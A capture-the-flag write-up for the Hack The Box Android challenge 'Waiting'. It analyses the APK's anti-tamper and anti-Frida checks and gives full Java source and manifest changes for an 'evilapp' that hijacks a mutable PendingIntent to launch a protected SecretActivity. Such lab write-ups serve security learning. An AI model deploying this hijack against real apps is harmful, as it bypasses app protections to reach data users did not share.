HTB | Waiting
Machine - https://app.hackthebox.com/challenges/454
File - app-release.apk
Skill Learned
Learn more about exploiting mutable Pending Intents.
Learn how to develop custom APKs for automating the exploitation process.
Enumeration
Running the application

On clicking on the Generator
button we get a page for entering information

After filling up the details, we get the token

Analysing the Source code
Native Library
On checking the code, we found the native library being loaded in MainActivity
static {
System.loadLibrary("native-lib");
}
This is a static block, executed when the class is loaded.
System.loadLibrary("native-lib")
loads a native shared library.The name passed does not include the
lib
prefix or file extension; the JVM handles that based on the OS.
We found the libnative-lib.so
in Resources/lib/x86_64/
We have also found libsecrets.so
which is being called in SecretActivity
There is a creation of a Pending Intent
in MainActivity

In Android, a
PendingIntent
is a token that you can give to another application or the Android system to perform an action on your behalf. It's often used in scenarios where you want to delegate an action to be performed in the future, even if your application is not running.Refer below article for better understanding
MenuActivity

onCreate()
method sets up the UI and handles a secret code path based on an intent extra:
If Secret == true
:
Runs
c.a(this)
, which performs:DEX checksum verification
Signature verification
Package name verification
If all checks pass:
It launches
SecretActivity
If a custom exception
a.C0031a
is thrown (likely from failing those checks):The app closes after 5 seconds
If Secret == false
(normal flow):
Shows a UI with input fields:
Name, surname, email, password
Three checkboxes (possibly representing age categories or consents)
Analysing MenuActivity.smali
move-result-object p1
const-string v0, "Secret"
const/4 v1, 0x0
invoke-virtual {p1, v0, v1}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
move-result p1
if-eqz p1, :cond_0
:try_start_0
invoke-static {p0}, Lcom/example/waiting/utils/c;->a(Landroid/content/Context;)V
new-instance p1, Landroid/content/Intent;
const-class v0, Lcom/example/waiting/SecretActivity;
invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
Let’s break down the code
invoke-virtual {p1, v0, v1}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
move-result p1
if-eqz p1, :cond_0
Checks if the Intent extra "Secret"
is true, and only then proceeds to:
invoke-static {p0}, Lcom/example/waiting/utils/c;->a(Landroid/content/Context;)V
new-instance p1, Landroid/content/Intent;
const-class v0, Lcom/example/waiting/SecretActivity;
invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
So if Secret == true
, it:
Runs anti-tamper check:
c.a(context)
Creates an intent for
SecretActivity
Since there are anti-tampering checks in place, even if we patch the app, it will not display the secret, thanks to the anti-tampering checks!
Anti-Tampering Check: c.a(context)
c.a(context)
The method c.a(Context context)
performs multiple integrity checks:
public static void a(Context context) {
long parseLong = Long.parseLong(context.getResources().getString(R.string.dex_crc));
String string = context.getResources().getString(R.string.sign_md5);
String string2 = context.getResources().getString(R.string.pck);
b.a.a.a aVar = new b.a.a.a(context);
aVar.a(parseLong); // check DEX CRC
aVar.a(string2); // check package name
aVar.b(string); // check signing cert MD5
aVar.a(true); // enable checks?
aVar.b(false); // maybe disable debug mode?
aVar.b(); // actually perform the checks
}
This means:
DEX CRC is validated.
App signature (MD5) is verified.
Package name is checked.
Then
aVar.b()
likely throws an exception (probablya.C0031a
) if any check fails.
And if it fails? It triggers this code:
new Handler().postDelayed(() -> {
MenuActivity.this.k(); // calls finishAndRemoveTask(); System.exit(0);
}, 5000);
Therefore, it is actively terminating the app if tampering is detected.
Decompiling the library
libnative-lib.so
there is a function to detect Frida (part of anti-tampering ?)

detectfrida

It is probably typical anti-Frida logic:
Calling
syscall()
to open and read/proc/self/maps
Looking for:
Presence of suspicious libraries like
frida-agent.so
,libfrida-gadget.so
Memory mappings with
[rwxp]
(read-write-execute) flags — Frida does this
Checking ELF headers or memory protections manually
Printing log messages like
"No executable section found. Suspicious"
if anomalies are foundPossibly terminating the app or triggering a silent failure
There is a function Java_com_example_waiting_Secrets_getdxXEPMNe
which is heavily obfuscated, but it's likely responsible for decrypting a secret string or key at runtime.
This function is used to return a decoded string (likely a secret like an API key, encryption key, or flag) by XOR'ing two arrays of bytes (probably encrypted data and a key). The function is called from Java via JNI.
Decryption Logic
The core loop of the function:
bVar2 = *local_338[lVar6]; // Encrypted byte
bVar1 = *local_1b8[lVar6]; // Key byte
<--SNIP-->
<--SNIP-->
*(byte *)((long)pvVar3 + uVar7) = bVar2 ^ bVar1;
It XORs two arrays:
local_338
: Encrypted datalocal_1b8
: XOR key
So:
decrypted_byte = encrypted_byte ^ key_byte;
Exploitation
Since we can't use Frida (because of anti-tampering), we can create an app that will trigger the intent and BroadcastReceiver from our test app to the waiting (main app) app and get the flag or secret.
First, we need to create and register a receiver in the evil app
Edit
AndroidMainfest.xml
andbuild.gradle.kts
(which is in evilapp\app)Install the evil app on the emulator.
Disable USB debugging
Open the Waiting app and do not click on the Menu button
Send the app in the background
Open the evil app and wait. The SecretActivity will appear with the secret flag displayed.
MainActivity.java
package com.example.evilapp;
import static android.content.ContentValues.TAG;
import androidx.appcompat.app.AppCompatActivity;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.util.Log;
public class MainActivity extends AppCompatActivity {
public static class MyReceiver extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
PendingIntent fromOtheApp = (PendingIntent)
intent.getParcelableExtra("com.example.waiting.INTENT");
//System.out.println("Intent Recieved");
Log.d(TAG, "Intent Received");
if (fromOtheApp != null){
Runnable theTimeHasCome = new Runnable() {
@Override
public void run() {
try {
//System.out.println("Broadcast activated");
Log.d(TAG, "Broadcast activated");
Intent HijackIntent = new Intent();
HijackIntent.putExtra("Secret",true);
fromOtheApp.send(context.getApplicationContext(),0,HijackIntent,null,null);
//System.out.println("Pending Intent Send");
Log.d(TAG, "PendingIntent Sent");
}catch (PendingIntent.CanceledException e){
//e.printStackTrace();
Log.e(TAG, "PendingIntent failed to send", e);
}
}
};
(new Handler()).postDelayed(theTimeHasCome,5000);
}
//else System.out.println("You shouldn't have come here");
else Log.d(TAG, "You shouldn't have come here");
}
}
}
This is a Java class (MainActivity
) in the package com.example.evilapp
. Inside it, there's a static inner class MyReceiver
that extends BroadcastReceiver
.
This receiver is designed to:
Receive a broadcast from another app.
Extract a
PendingIntent
from the receivedIntent
.After a 5-second delay, it triggers the
PendingIntent
with a newIntent
carrying custom data ("Secret": true
).
Key Components
BroadcastReceiver: MyReceiver
This is a component that listens for system-wide or custom app-specific broadcasts.
PendingIntent fromOtheApp = (PendingIntent)
intent.getParcelableExtra("com.example.waiting.INTENT");
It extracts a
PendingIntent
from the broadcastedIntent
using the key"com.example.waiting.INTENT"
.
Runnable theTimeHasCome
A Runnable
is defined and posted to a Handler
(i.e., executed after a 5-second delay).
Intent HijackIntent = new Intent();
HijackIntent.putExtra("Secret",true);
fromOtheApp.send(context.getApplicationContext(),0,HijackIntent,null,null);
This code sends the hijacked
PendingIntent
using a customIntent
that includes extra data ("Secret": true
).The use of
PendingIntent.send()
allows the app to impersonate or control another app’s logic if the originalPendingIntent
allows it.
Build.gradle.kts / AndroidManifest.xml
change
targetSdk = 25
Add the below receiver in AndroidManifest.xml
<receiver android:name=".MainActivity$MyReceiver"
android:exported="true"
android:enabled="true">
<intent-filter>
<action android:name="com.example.waiting.RECEIVED" />
</intent-filter>
</receiver>
Last updated